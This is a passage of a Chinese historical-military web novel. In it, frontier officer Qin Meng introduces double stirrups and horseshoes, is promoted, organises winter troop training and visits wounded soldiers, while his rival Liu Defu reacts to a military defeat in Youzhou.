说着,她便走向伙房,很快里面传来烧水准备泡茶的细微动静。
秦猛看到小妹练得如此刻苦,不由得皱了皱眉,绷着脸走过去:“小芸,练武讲究循序渐进。
不能操之过急,你这样硬撑,很容易伤了筋骨,快停下来休息。”
“我不,勤练才有效。”秦小芸性子倔,咬牙还想坚持,却被秦猛伸手拉住,强行提了起来。
“哎呀,哥……”秦小芸徒劳挣扎。
王艳也连忙收了功,恭敬地站在一旁,不敢说话。
秦猛看着两人通红的脸颊,语气缓和了些:“天太晚了,你们也累了一天,赶紧洗漱休息,明天再练也不迟。”
两女知道秦猛是为了她们好,乖乖地应了声。
这时,陈月娘端着一杯沏好的热茶从伙房出来,递给秦猛:“先喝口茶暖暖身子,热水一会儿就烧好。”
秦猛接过茶杯,走到陈月娘刚才坐的位置边坐下,看着她放在凳子上那件未补完的旧衣裳。
他又看了看她眼底的倦意,伸手握住她的小手,柔声道:“月娘,为何不睡?熬夜对身体不好。”
陈月娘的手被他握住,脸颊瞬间变得通红,连忙低下头,低声如蚊吟:“我……我等你回来,想着把这件旧衣裳补好,以后还能穿。”
“傻丫头。”秦猛无奈地笑了笑,拿过她手里的针线和衣裳,放在一旁,“咱家又不是没钱。
你喜欢什么就买什么,不用这么节省。以后这些缝补的活,让婆子做就好,你不用这么辛苦。有我撑起这个家,不会让你受委屈的。”
一番情话说得陈月娘脸颊更红,“嗯”了一声,她轻轻挣开秦猛的手,小声说了句“我去看看水烧好了没有”,便红着脸快步走进了伙房。
秦猛看着她的背影,嘴角扬起淡笑。
他喝了口茶,稍坐片刻,才起身,先洗漱完毕,又让月娘早点休息,然后,才走向耳房。
那里关押着乌维。
秦猛拎着一个装有烧鸡的袋子,推开门走进屋,把烧鸡丢给乌维,坐在对面的椅子上,学着部队政委那般,开始给山蛮汉子做思想工作。
夜色渐深,耳房里的谈话声断断续续地传出,月光透过窗户,
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映照出乌维那张凶悍的笑脸……
次日,天色大亮。
秦猛在堂屋与陈月娘、秦小芸,王善兄妹一同用了早饭。
小米粥熬得浓稠,配白面馒头和腌菜,简单却暖腹。
饭后,陈月娘熟练地帮他??甲系带,轻声叮嘱:“军营里不比家里,记得按时吃饭,别总熬着。”
“知道。”秦猛拍了拍她的手应下。又嘱咐秦小芸莫要再过度练武,才带队准备带队去军营。
“**,你留下,带人与乌维收拾家当,官署那边已经修缮好了,今日就得把东西搬过去。”
秦猛路过耳房时,特意嘱咐了一句。
乌维昨晚被他“开导”半宿,此刻虽面色如常,背着巨型弯刀,威风凛凛,闷声应了声“是”。
安排妥当后,秦猛便带着王善等几名亲卫走出院子。
可刚拐过街角,就见韩勇和刘三两人气喘吁吁地飞奔而来,身上的伤号布都被风吹得歪斜。
“将军,吴二昨晚就同意投靠了!”
秦猛停下脚步,饶有兴致地问:“韩兄如何说服他的?”
“也没别的,”韩勇挠头,“就说我从前的经历,当山贼的难处,与吴二颇为相似,有共同话题。
刘三兄弟也帮着说,以自身为案例,将军心胸宽广,连他都容得下,定然不会亏待吴二。”
刘三补了句:“没人愿意死,吴二投靠的干脆。但他有个条件,以后不许再用之前的刑罚。”
两人都面露疑惑,昨晚问吴二缘由时,对方只是夹紧双腿,面露恐惧,支支吾吾不肯说。
秦猛闻言,心里瞬间有了数,却没多解释,只是果断点头:“没问题,这点小事我答应他。”
“只要真心投靠就是自己人,自然没有用刑一说。”
说罢,他便带着两人往关押吴二的屋子走。
推开门一看,吴二正坐在桌边喝粥,除了脸颊还有些红肿。那是昨夜拷问时被赵平等人打的。身上并无其他伤痕,也没有受到**。
可他一见到秦猛,手里的粥碗顿了顿,一想到昨晚的遭遇,眼神里还是忍不住流露出几分恐惧。
“你不必怕。”秦猛走到他面前,语气平静却带着分量,“只要你把该办的事办好,立了功。
以后你就是边军一员,有钱拿、有地分,朝廷的赏赐也少不了你的,挺直腰板做个大丈夫。”
“信不过秦某,虎贲军飞虎卫将军可是一言九鼎。”
吴二愣了愣,眼中的恐惧渐渐淡了些,默默点了点头。
随后,秦猛便带着韩勇、刘三、吴二,又汇合了早已准备妥当的赵虎、陈石,一行人翻身上马,出了堡寨,直奔附近的飞虎卫临时营地……
第99章 双马镫,马蹄铁
飞虎卫营地,晨光刺破薄雾。
飞虎精锐早已列阵演武,甲胄寒光与呼喝声交织,营内杀气凛然。
中军大帐前的空地上,一队兵卒肃立。
——这是赵起昨夜接到秦猛密报后,连夜筛选出的“狼戎语通”。
用过早膳,赵起正欲率军赶赴边寨。
只听到营门外嘈杂,秦猛却已带着一人先行求见。
“将军,此乃吴二。”秦猛将吴二推至赵起面前,沉声道,“经昨夜劝说,他愿投效,只是怕我往日凶名,还望将军亲口许他‘既往不咎’。”
赵起目光扫过吴二紧绷的脸上,和颜悦色道。
“我虎贲军赏罚分明!你若忠心办差,办妥此事,立了功,过往不论,半分委屈也不会让你受!”
吴二听到“虎贲军”三个字,眼神彻底安定下来。
幽州飞虎赵将军的名头他早有耳闻,军中无戏言,当众做出的保证,断然不会出尔反尔。
随后,赵起与秦猛凑在名册前复盘,将派往草原的人手、物资逐一核对,意外情况的应对……
不多时,队伍整装完毕,人人配双马,尽显迅捷。
“事不宜迟,即刻出发!”赵起最终拍板下令。
袁飞及时送来吴二的两匹战马,礼物,行囊。
秦猛则递过那封密信,看着吴二贴身藏好,才郑重嘱咐:“你是汉人,当记边民受**之苦久矣!此番事成,我秦猛亲自为你摆酒庆功。”
吴二本有怯意,却被秦猛坦荡的目光点燃斗志,昂首道:“秦将军放心,吴某必竭尽全力!”
说罢,他翻身上马。
赵虎、陈石如同护卫般紧随,秦猛叮嘱“万事小心”。
三人朝着草原的方向奔去。
十余人的策应队伍才悄然尾随而去。
返回途中,秦猛突然朝人群里的韩勇、刘三递了个眼色。
二人心领神会,立刻冲出队列,“扑通”跪倒在赵起面前:“将军!您可得给我们做主啊!”
刘三更是嚎啕大哭:“将军!求您救救我的妻儿老小啊!”
赵将军被这突如其来的举动弄懵了,皱着眉问道。
“他们是谁?所为何事?”
“将军,此二人皆为刘德福所害。”秦猛上前一步,指着两人说明,“刘三本是刘德福心腹,因知其许多秘辛,事情败露,险些被灭口。
韩勇是幽州普通商贩,好心收留他,却遭迁怒,几家皮货铺、药材店全被查封,强占了去。”
话音未落,韩勇、刘三便按昨夜商议好的,你一言我一语哭诉刘德福的霸道,做的缺德事,将自家惨状说得淋漓尽致,只求赵起做主。
“尔等先起来说话。”赵起脸色肃然,大手一挥。
两侧亲兵立刻上前,将哭倒在地的韩勇、刘三搀扶起来。
秦猛见状,昂首挺胸跨前一步,双手抱拳沉声**:“将军!刘德福罪证确凿,末将愿领兵前往幽州城,铲除这颗毒瘤,营救下属家眷!”
刘三本还在抽噎着,听到“营救下属家眷”几字,眼眶瞬间通红,望向秦猛的目光满是感激。
“不行!”赵起眼皮猛地一跳,当即摇头否决。
他暗自腹诽:此前千多厢军被灭的事还没厘清,秦猛这胆大包天的家伙去了幽州,指不定要闹多大动静。
他面上依旧严肃:“刘德福背后牵扯甚广,需帅司核验后定夺。我会派队伍协同帅司特使去幽州取证,向刺史府讨公道,你无需多操心。”
“将军此言差矣!”秦猛知道会被拒绝,不肯放弃。
“封禁运河断粮道、贼人夜袭边寨,我都是直接当事人,此事因我而起,该由我亲手了结!”
赵起被缠得头疼,板起脸厉声道:“秦猛!昨夜已落雪籽,界河即将冰封,你需守边寨防范**来袭。巡视双涡堡防务,哪有空闲去幽州?”
秦猛见赵起态度坚决,便退而求其次:“那末将便不去幽州,但刘德福必须押来边寨。
他断粮道使得我边寨缺粮,害军民冻饿而死,得当面给百姓和寨兵道歉!另外,容我派几个人,接刘三家眷来边寨安顿,以安其心。”
赵起眉头微蹙,思索片刻后点头:“这个倒是可以考虑。”
行至中军大帐外。秦猛突然停下:“将军,末将有桩能‘提升全军战斗力’的惊天喜讯禀报!”
在场众人皆愣住,寂静一片。
赵起眼中闪过诧异,眯起眼盯着秦猛,探究地问道:“哦?你说说,是什么喜讯能称‘惊天’?”
秦猛不慌不忙,冲身后的**使了个眼色。
**立刻牵来几匹战马——皆是四肢粗壮、鬃**油亮的草原好马。
赵起与麾下将领围着战马来回打量,却没看出任何异常。
“这几匹战马有何特别之处?”赵起疑惑地问道。
秦猛抬手,指向马腹:“将军,您看这马腹两侧的玩意。”
“马镫?不对!”赵起凑近一看,眼中满是疑惑:“可寻常马镫只有单边,这怎么两边都有?”
“此乃双边马镫!”秦猛耐着性子解释。
“有了它,将士能牢牢夹紧马腹,无需再用手抓握马鞍维持平衡,便可腾出双手弯弓搭箭。与狼戎骑兵交战,这双边马镫能发挥大用处!”
“真有这般奇效?”赵起声音瞬间拔高,难掩激动——他太清楚骑兵不能双手射箭的短板了。
一旁的袁飞立刻上前:“将军,千真万确。上次我带队冲杀狼戎,靠这马镫让数十人马上奔射,瞬间射翻敌兵,很快就解决了战斗!”
“什么?马上奔射?”赵起与将领们瞳孔骤缩,满脸震惊。
大周军队中,弓箭手需要天赋,骑马射中目标难上加难。能
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在策马狂奔,开弓射箭就是精锐。
秦猛笑着递过缰绳:“将军不信,可亲自上马尝试。”
赵起按捺不住,接过缰绳翻身上马。
赵平等人心痒难耐,也纷纷跨马。
几人策马狂奔,双脚踩镫控马,腾出手摘弓瞄准,动作流畅无比。
“哈哈哈……好,好一个双边马镫!”赵起勒住战马大笑,“秦猛,你搞出这等利器,立了大功!”
连此前对秦猛有芥蒂的赵平,也忍不住夸赞,昨日因乌维鲁莽之事的不爽早已烟消云散。
众人都明白,这马镫能让大周骑兵拥有“马上骑射”能力,大幅拉近与草原骑兵的差距。
赵起拍马回到秦猛身边时,马蹄踢到石头发出金属碰撞声,他低头见战马四蹄钉着月牙形铁块,疑惑询问。
“这又是何物?”
袁飞解释:“将军,这是马蹄铁,像战马的‘靴子’,生铁打造,配马镫使用,能让战马在山道狂奔不伤蹄,还不怕铁蒺藜扎伤马足!”
他又补充:“上次送急报情况紧急,次日才发现它的好处,想着来边寨见您时,再呈报。”
赵起瞥了袁飞一眼,没纠结迟报的事,转头对秦猛赞叹:“好好好!这两个小玩意至少能让大周军队战力提升三成。
以后骑兵对**,同等数量上,也能稳压一头!”
秦猛谦虚地摆手:“这是堡寨工匠的功劳,我只是略加提点。不过还望将军保密,目前耗铁量大,无法批量生产,等武装好飞虎卫再报帅司,日后对战**,也能打个措手不及。”
“不错!此事绝不能外传!”赵起连连点头,“我即刻下令调工匠来边寨,让飞虎卫轮番换装,这事就劳你费心了。”
秦猛昂首挺胸:“将军说的哪里话?镇守边疆、提升军力,本就是末将分内之事,义不容辞!”
“秦猛听令!”赵起突然沉声喝令,语气带着不容置疑的威严。
秦猛心中一凛,拱手肃立:“末将在!”
“你此前绞杀狼戎、灭冷艳山贼、溃不明敌,如今又造双边马镫与马蹄铁,累计功劳甚大!”
赵起声音铿锵,“我不日奏请帅司,为你请功。现擢升你为飞虎卫正将,允许你自行组建一营人马。望你日后奋勇向前,尽心戍守边疆!”
飞虎卫正将,是从六品武职。
“自行组建一营”更意味着秦猛至少能领兵一千,手握实权。
周围将领眼中满是羡慕,却无一人嫉妒——秦猛的功劳都是一刀一枪拼来的,实至名归。
秦猛心中狂喜却未失态,单膝跪地,双手抱拳,高声领命:“末将秦猛,谢将军提拔!
日后**若敢来犯,末将定教他们有来无回!”
他低垂的眼眸中光芒炽热,这一次的官职晋升,让他麾下兵卒激增,离目标又近了一大步。
第100章 大练兵
朔风愈紧,天色阴沉如铁,雪籽夹在风中簌簌而下,击打在将士们的铁甲上,噼啪作响。
赵起将军军务繁忙,将一应事务安排妥当后,便率队返回了飞虎大营。
他带走了五百匹草原好马。
秦猛一再言明是赠送,赵起却不愿占部下便宜。
他坚持以低于市价的价格购买,并依秦猛所需,将款项折为装备、皮革等物资,约定随工匠与猛火油一同送至边寨。
亲兄弟明算账,此乃赵将军行事之风。
然对于双马镫、马蹄铁二物,赵将军却显出军人应有的果决与气魄,搬空了边寨数日来的库存。
临时营地中,亲卫营三百精锐留守,协防铁血军寨。
这支人马不仅是首批轮换,待配备双马镫、马蹄铁的精锐,更是应对狼戎来袭的关键力量。
副统领周扬以“与边寨配合默契”为由,争得了率队协助的机会。
人人皆欲留下来立功,只因在这拒马河边,军功来得太快。
——如袁飞、徐强,调来边寨不久,便因杀敌守土之功,擢升为亲卫营队将。
秦猛升任营正将,除副将需帅司任命,他已拥有部将、队将的提名任命权,只需认准功劳,上报待批即可。
统率一营兵马,少则一千,多则三千,已是中级军官,又是戍边,坐镇边寨,自**甚大。
升正将后,更有权提拔亲信。
若硬要做个比喻,堪比后世抗战时期的团长。
这便是秦猛升迁后,难以抑制喜悦的缘由。
“咚!咚!咚!”
军营校场上,鼓声雷动。
这是秦猛首次擂鼓聚将,召集兵卒。
除燧堡值守及伤重未愈者,堡寨军卒尽数集结。
六百多名寨兵列成数个方阵,肃立待命。
袁飞、徐强率飞虎卫在旁观望。
往日略显空旷的校场,此刻竟显得拥挤起来。
(秦猛初任管队官时,麾下仅百人,后招募百余名青壮,魏文送来两百土兵,收编韩勇麾下数十喽啰,又在青阳郡城募得百多新兵)
秦猛如铁钉般立于点将台上,目光扫过下方军阵。
从他穿越至今,不过短短时日,自暴力复仇开始,搞钱搞粮,竟不知不觉间拉起了这支队伍。
他胸中豪情翻涌,声音不高,却压过了风啸:“即日起,我铁血军寨组建一营兵马,名曰‘陷阵’!
冲锋之势,有进无退;陷阵之志,有死无生;战场之上,有我无敌!”
“陷阵营?”袁飞、徐飞等人相视凛然,莫名觉得心头震撼,好霸气的名号,好重的杀气!
校场上众多兵卒只觉热血上涌,满面兴奋。
秦猛却兜头泼下一盆冷水:“尔等现下仅是陷阵营预备队员!欲正名,须经整个冬日的苦训。
望各位兄弟不惧劳苦,磨炼技艺,成为真正的精锐。历经考核,合格者,方能入选陷阵营!”
“听见了吗?”
“是!”回应之声较以往更为整齐,震彻风雪。
“张富贵!”秦猛目光扫向台下队列前方。
“在!”张富贵立刻挺身出列,大步登上点将台。
他身上有伤,未着铁甲,但那五大三粗、满脸横肉的模样,威慑力丝毫不减。
秦猛宣布其战绩:“队将张富贵,先后参与边寨保卫战、夜夺冷艳山、山寨死战,指挥有方,杀敌甚众。特擢升为部将,赏银百两!”
部将,按品级已经步入八品武职。
秦大壮托上百两白银,当众塞入张富贵手中。
张富贵眼中闪过激动,冰冷的银子似乎变得滚烫,躬身领命:“谢将军,末将定不负期望!”
“王铁山!”
“在!”王铁山面露喜色,应声窜上台。
“队将王铁山作战勇猛,连番恶战,勇猛无畏,杀敌甚多。特擢升为部将,赏银百两!”
接着,秦猛依战功一一擢升。
李山、刘铁柱提名部将,然功稍逊,需后续实绩支撑。
刘大牛扶正为队将。
王善、**作战骁勇,连立战功,同升队将。
余者有功将士,尽得升赏,连伤者亦无遗漏。
如诸葛风,被任命为行营主簿,兼管后勤。
就连韩勇亦被破格提拔,协理后勤。
校场上喜气洋洋,热闹非凡。
那是一大批人升伍长,什长,还有钱粮赏赐。
斩首一级,仍有额外的钱粮等实物赏。
数量多了,就会转为军功升职。
如到了什长之后,斩首功劳会被笼统化计算。
不然,杀一人赏钱二十贯,还有布匹衣服,家底再厚也难以为继。
奖励,只是为了激励士兵。
这是边堡升格为军寨,秦猛逐渐了解的相关体制。
寒风卷着雪籽,扑打在将士们的脸上却无人晃动。
点将台上的秦猛,目光如炬,眺望拒马河的方向,仿佛穿透风雪,看到了即将到来的腥风血雨。
他知道,真正的考验,即将随着这场雪一同降临。
犒赏已毕,秦猛双手压下嘈杂,沉声道:“全体听令!雪已降,界河冰封在即,**必大兵压境。
想活命的,想护住寨子、老婆孩子热炕头的,不想再颠沛流离的,就把刀口舔血的本事,从骨髓里给我榨出来!”
他毫不赘言,当场宣布各职司规矩:
弓箭队:由刘铁柱暂领,飞虎卫队将袁飞等精锐协助训练。
凡能拉开八斗硬弓(拉力约合现代九十磅以上,即40.82公斤)、五十步固定靶五中三者,方可入队。
重点练习快射、狠射,听号令齐射之术!其训练严苛,或效古法,肘臂置水以求平直,更需练就“悬虱于牗”般的锐利眼力,追求“百步穿杨”之精准。
骑兵队:由张富贵率领,飞虎队将徐强等
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精锐协助挑选。
马术稳健、胆气过人、能于奔驰中劈砍多个草人或射中三十步内移动靶者,优先。
训练不仅限于骑射劈砍,更需精熟“分鬃射法”(正面攻敌)、“对镫射法”(侧身环射)乃至“抹鞦射法”(返身射追兵)等马上射技。
战马饲养训练亦极考究,需精选豆料、苜蓿,甚至掺入鸡蛋粮食等精料,日常洗刷、溜放、驰逐皆有定规,以求“秋高马肥”,保持马力。
步战队:由部将秦大壮率领。
秦猛亲领统一操练。李山、王铁山等得力者辅助。
讲究结阵抗敌、令行禁止。敢冲杀、听号令者为上。其训练注重“以治为胜”,强调阵法变化(圆方、坐起、行止、左右、前后、分合、结解)与号令金旗的绝对服从。
体能训练或采用“囊砂”法(背负重物,腿绑沙袋负重奔跑)以增强体力,足力,甚为艰苦。
亲兵队:由王善、**统率,负责护卫中军及执行特殊命令。
突击队:专挑身强力壮、敢于搏命的猛士,由乌维带领,王善、**、牛五协助。
操练之法极为刚猛简练——角抵(摔跤)、摔打、格斗擒拿,负重奔跑、挥砍重物……
其训练结合后世特种作战,借鉴古代“翘关”(举重)之力士法,“与猛兽对练”的极限体能挑战,以求锤炼出超乎常人的勇力与胆魄。
犬兵队:由刘大牛率领,训练合格猎犬协助战斗,人员训练不得落下,负责侦察、追踪。
辅兵队:韩勇负责率领,身体素质未达标者,皆为辅兵,统率青壮,负责后勤——割草喂马、护送粮秣、防守军寨。
辅兵表现优异者,亦可申请入战兵队列!
反之,战兵表现拉跨者,屡教不改,便降为辅兵!
陷阵营各兵种框架,至此大致构建。
秦猛定下各队兵额:骑兵队三百人,弓箭队两百人,步兵队五百人,犬兵队百人,辅兵队三百人,亲兵队含突击队,名额两百人。
他详细规划了战兵、辅兵之训练强度与兵种配合,并从飞虎卫请来数十好手协助操练。
弓箭手于军营中奋力开弓,箭矢破风之声不绝于耳。
百余骑兵策马冲出边寨,于外旷地驰骋训练。
秦大壮亦领着步兵大队出后堡门,在空地上排兵布阵,分为两队对抗,呼喝之声震天动地。
寨内兵丁多了,容纳不下!
为此,秦猛征召壮劳力,于铁血堡寨、飞虎卫营地之间,择地修建新营,专作练兵之用。
三地构成品字形,犄角之势,深合兵法之要。
寒风呼啸,卷着雪籽胡乱拍打。
铁血军寨的冬季大练兵就此拉开序幕!
骑兵策马射箭,劈砍稻草人;步兵结阵变幻,负重奔袭;弓箭手力开硬弓,箭如连珠;突击队角抵摔打,吼声震天,只为能多杀**……
第101章 热汤暖心,兵心依附
军寨,医疗所。
此处弥漫着浓重的中草药与血腥气混合的味道。
自从冷艳山守卫战后,这里便人满为患,近百名伤兵挤在简易床铺上,呻吟声不绝于耳。
穿着整洁粗布衣、系着围裙、戴着面罩的妇人们步履匆匆,进出忙碌,清洗绷带,敷药包扎,喂服汤药,一切忙而不乱。
“唐医官,这是我缝的,你看我这手艺怎么样?”
缝补作坊的工头王婶拿着一块割开又缝补好的皮料,一把拽住正捣药的唐博,将皮料递过去。
这块皮革上,细腻的针脚整齐划一。
不细看,难以分辨撕裂豁口,显示出妇人精湛的针线活儿。
“我能不能入医疗所帮工?”王婶斜着眼睛问道,脸上写满了期盼。
“哎哟,王婶,你别拿俺寻开心了。”唐博头疼地看着这个来了好几次的妇人,露出苦笑。
“您可是缝补作坊的头儿,咋能来我这儿打下手?”
“就是,姐姐,莫要跟我们抢活干嘞!”
王寡妇端着一盆刚换下来的、染着血迹的水倒在门口的木桶里,恰好看到这一幕,不禁笑着打趣道。
她如今脸色红润,再非昔日那般憔悴。而且是继陈月娘,第二个主动应募,入医疗所帮工。
“哎呀,我羡慕啊妹子,”王婶羡慕地嘟囔着,“缝补伤口有现银拿,还不让缝补作坊的人帮工...”
这一切的转变,皆源于秦猛与陈月娘的联手上阵。
他们亲自为重伤员缝补伤口的一幕,震撼了许多人。
随后,军寨张贴榜文,宣布招募一批妇人担任护工,协助救治伤兵,并且月月发放粮饷。
——这与男子在军寨中效力无异,简直是破天荒的事情。
而陈月娘因救人得力,当场获得五两赏银的消息,更如同一点火星,瞬间点燃了军寨妇人们心中压抑已久的干柴。
消息传开,大群妇人涌来应聘,纷纷嚷着自己不怕血,愿意当护工。
唐博自是高兴不已,立刻展开筛选。
他设下几道关卡:先是让人旁观清理血肉模糊的伤口,观察是否面色发白、腿脚发软。
再让她们试着缝合皮料,猪肉,考核手艺是否精细心细。
唯有胆大、手稳、心细者,方能录用。
这股热潮也猛烈冲击了缝补作坊。
妇人们心思活络,纷纷寻借口溜出来想往医疗所钻,棉衣、棉被的生产效率顿时大跌。
老保长气得吹胡子瞪眼,不得不严令禁止作坊人员参与医疗所之事。
秦猛知晓后,为此,特意加了一条:丈夫过世、家庭条件困苦的妇人优先录用为护工。
同时,他提前给缝补作坊的妇人们发放了冬季福利,算是安抚。
如此恩威并施,才算止住了这股“跳槽”风潮。
短短几天,医疗所便招募了十多个胆大又有手艺的妇人,其中多是如王春兰这般无依无靠的寡妇。
陈月娘则因其勇敢和初步展现的医术天分,被一致推为“中级护工”。
她不仅负责教导新来的妇人们和药童包扎伤口,更要随唐医官学习辨识草药、了解药性。
“哎哟,秦大人,你为何不让我等来帮工?”王婶眼尖,看到秦猛带人走来,立刻窜上前诉苦。
秦猛是怕了这个嘴巴利索的妇人,板着脸实话实说:“王婶,缝补工坊乃是边寨的根本。
以后就会与铁匠坊,木工坊合并为军器监。到那时你的例钱,可就多了哦,何必来帮工?”
“那就好!”王婶是个伶俐人,一听“军器监”,眼睛一亮,当即不再纠缠,说了声“那我得回去做好表率”,转身就小跑着往缝补作坊去了。
“大人!”唐博长松了口气,连忙上前行礼。
“我是来看望伤员。”秦猛摆摆手,勉强笑了笑,朝闻声从里间走出的陈月娘挥手打了个招呼。
军寨大练兵伊始,诸事繁杂。但他始终惦记着这些为军寨流血的弟兄。
安排好练兵事宜后,他让王善等亲兵抬来特意准备的、还冒着热气的肉馅馒头和大桶肉汤。
前来医疗所,慰问伤兵。
秦猛推开医疗所的木门,脸上挤出温和的笑容,没有因身份差异而区别对待,亲自走上前,挨个给伤员分发馒头和肉汤,发放抚恤银。
他一边递过油纸包,一边轻声安抚。
“兄弟们,辛苦了,好好养伤,有我在,军寨不会亏待你们。”
他堂堂知寨官,却亲自带着热气腾腾的汤饭来看望伤号,还耐心问候,这一幕让在场所有人无不触动。
军寨的老兵们纷纷道谢,那些原本对秦猛心存畏惧、新投靠的冷艳山寨喽啰,更是感动不已。
不少人挣扎着想从床上起身行礼,却被秦猛伸手轻轻摁回床铺:“躺着就好,养伤要紧,不用多礼。”
这些喽啰捧着温热的馒头,喝着鲜美的肉汤,眼眶渐渐泛红,心里对秦猛的认同感又深了几分。
“大人!大人!”一个激动的声音突然响起,只见陈三被两个同伴用简易担架抬着,从里间出来。
这小伙也是命大,之前腹部的撕裂伤恶化,被军医官断定撑不过晚上。
却被秦猛与陈月娘临危不乱,以针线缝合。
经过唐医官悉心救治,他第二天竟奇迹般转醒,康复速度远超常人。
得知秦猛亲至,陈三硬是让同伴把他抬出来。
见到秦猛,他挣扎着想要坐起,声音带着哭腔:“大人!您与夫人联手把我从鬼门关拉回来,我陈三这条命就是您的了。
以后不管是刀山还是火海,只要您一句话,我绝无二话。”
陈三这番话像一颗石子投入平静湖面,瞬间激起层层涟漪。
一个腿部受伤的兵丁躺在床上,大声附和:“没错!要不是大人,我早在之前的战乱里饿**。
哪还能有热饭吃、有床睡?
俺周狗蛋这条命,以后就是大人的!”
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另一个喽啰也跟着喊道:“只有秦将军把我们当人看。不仅给饭吃、给房子住,还说以后要给我们分田!这样的好大人,我们誓死追随!”
“誓死追随大人!”
医疗所内,顿时呼声如雷。
伤员们的声音虽然因伤势而沙哑,却充满了真诚与坚定。
秦猛站在人群中,心中暖意翻涌。
他抬手压了压,朗声道:“兄弟们,你们都是好样的,是铁血军寨的好儿郎。大家不要激动,好生休养,尽快把伤养好,早点归队。
**贼心不死,铁血军寨还需要你们并肩作战!”
“并肩作战,杀**!”
……
韩勇与刘三也在医疗所里——韩勇左手臂有撕裂伤,刘三则是肩胛骨受了重伤,来此缝合治疗。
两人全程目睹了这一幕,神色复杂。
等秦猛安抚完众人,转身去查看其他伤员时,刘三望着秦猛的背影,悠然长叹。
“哎,视麾下为兄弟,爱兵惜兵,这才是个人物啊!冷艳山寨的大当家严虎给他提鞋都不配。”
说完,他才意识到韩勇曾是严虎手下,顿觉失言,连忙补救:“韩兄弟,我不是那个意思……”
韩勇却摆了摆手,语气异常平静:“没得比。严虎带人来攻打边寨,劫掠百姓,全军覆没不是没有理由的。
秦将军这样的人,受军民爱戴,尤其是在这北疆土地上,在这乱世之中,必定有一番作为。”
他顿了顿,声音变得有些惆怅:“何况,严大当家只是被关押,我能去见他,又能给他备一顿酒菜,也算是还了当年他收留我的恩情。”
刘三闻言,好奇问道:“韩兄,既然你与严虎有旧,难道不打算向秦将军求情,放他一条生路?”
“没用的。”韩勇非常果断地摇头,反问道:“刘三,你我都是北地人。若是你的家眷被人掳走,卖到草原为奴,日夜受辱,你又当如何?”
刘三愣了一下,下意识咬牙回应:“那我肯定要跟他拼命,绝不放过他!”
说完,他才恍然大悟。
——严虎及其手下在北疆劫掠百姓,不知害得多少人家破人亡,妻离子散。
秦将军向来把百姓看得极重,又岂会放过这等罪魁祸首?
“所以,秦将军这种把百姓看得很重,又把手下当兄弟看待的人。不知道还则罢了,是绝不会放过那些专事掳掠同胞、祸害百姓之徒的。”
韩勇看得透彻,语气里带着几分感慨,似在诉说,又像是在自我安慰。接着叮嘱刘三。
“秦将军惦记着你的家眷,你亲眼所见,亲耳所闻。望你记住这份情义,养好伤,好好做事。”
“我晓得。”刘三重重地点头:“秦将军恩情,刘某铭记在心,绝不敢忘!”
一想到即将与家人团聚,心中便充满了感激与期盼。最后又想到前主子,刘德福,神色复杂。
“主子啊!现在如何?是否慌急?”
第102章 幽州暗流
幽州城,一夜之间空气骤降,细密的雪籽笼罩了这座北方雄城。
铅灰色的天空阴沉二压抑,预示着一场大雪即将来临。
刘家府宅,书房内炭火烧得正旺,与外界的寒冷形成鲜明对比。
“咔嚓!”
一个精美的青瓷茶杯掉在地上,摔得粉碎。
冒着热气的茶水与茶叶四溅,溅落在一双做工精致的鹿皮暖靴上,靴子的主人刘德福却浑然未觉。
就在片刻之前,这位刘判官还在温暖的书房内悠闲地冲泡着茶商送来的贡茶,享受这冬日清晨的宁静。
然而,女婿杨浩——幽州统制官脸色惊慌地闯进来,带来的消息让他如坠冰窟,茶杯摔碎。
秘密调动的剿匪队伍,遭遇边军,全军覆没!
“你…你说杨全,周翔他们带着千多人,被、被灭了?”
此刻,刘德福瞪着一双死鱼眼,脸上爬满了不可置信。
他以为自己听错了,怔怔地看着女婿杨浩,声音发颤还夹杂着期盼,似乎希望真是自己听错了。
“没错。”杨浩声音干涩,心有余悸地说明经过:“就在刚刚,几个溃兵逃窜回来,禀明情况。”
“说是杨全他们连夜赶到冷艳山,却是晚去了一步。
铁血军寨先行剿灭匪贼,占据山寨。
杨全直接下令攻击,射杀边军,大战就此爆发。”
“对方死守山寨,百八十人硬生生扛了两天两夜。
两营人马死伤惨重,杨全被迫动用骑兵参战,准备最后一搏,一举拿下山寨,避免走漏消息。”
“奈何,在这关键时刻,边军援军赶来,从后面击溃杨全部众,兵败如山倒,兵卒四处逃窜。”
杨浩咬牙切齿地说完,声音带上些许恐惧:“而来救援的人正是铁血军寨知寨官,秦猛!”
“秦猛?”刘德福瞳孔骤然收缩成针尖,随即胖脸上满是愤怒:“废物,一群废物!一千多人呐!竟然还奈何不了百八十人,养着他们有何用?”
他猛地一拍桌子,震得茶具哐当作响,胸口因愤怒而剧烈起伏。
杨浩见他怒不可遏,赶忙劝说道:“岳父,现在不是怨天尤人,关键是此事,如何善后?”
“一千多府兵突然就全军覆没,他们的家属必会深究,造成的影响难以平息,这是个**烦。”
“而且那个秦猛异常骁勇,据说只一枪就把杨全打**下,生擒活捉。再一审讯,消息必定泄露。到时别说是你,就是我也会被卷入其中!”
杨全声音充满无奈和气急败坏,埋怨地看着自家岳父。要不是顾及身份,他绝对会动手。
你说你好端端的,为何要招惹边军这种狠人?
刘德福骂完之后,逐渐冷静下来,心里头却越发沉重。
边军帅司那边一直没有动作,怕是在等待机会。
而敌方军队主动攻杀边军,这是谋反,株连九族的大罪,必定会被对方利用,借题发挥。
“这件事情太大了,已经不是我们能够掌控的。”刘德福越想心头越冷,明白事态的严峻性。
他立刻站起身,看向女婿杨浩:“走,咱们立刻去刺史府,禀明情况,请刺史大人定夺。”
“我已经告知父亲,他已经去了。”杨浩神色逐渐冷静。
“那就好,那就好……”刘德福松了口气。杨浩的父亲是幽州别驾,是刺史最重要的副手,位高权重,人脉广泛,化解此事应该不成问题。
“秦猛,秦猛?”刘德福转而又想到罪魁祸首,眼中冒出浓浓恨意,咬牙切齿,恨不得生吞其肉。
“哼,战场上骁勇?冷艳山寨那些废物没用……”刘德福眼神冰冷,这种断粮道的法子行不通。
他又想到用重金雇佣刺客,去暗杀秦猛此獠。只要能够杀掉对方,无论花多少钱都是值得的。
一旁的杨浩看着刘德福脸色阴沉,眼中杀气凛然,不知在想什么。他却知道对方不肯罢休。
“岳父,你还是走吧,带着家财,离开幽州,越远越好。”杨浩犹豫再三,冷不丁来了一句。
直接把正想着如何对付秦猛的刘德福给搞愣住了。
“贤婿,你说什么?”刘德福简直不敢相信自己的耳朵。
杨浩面色冷峻,盯着刘德福一字一顿:“事情太大,怕难以收场,你还是隐姓埋名,远走高飞。”
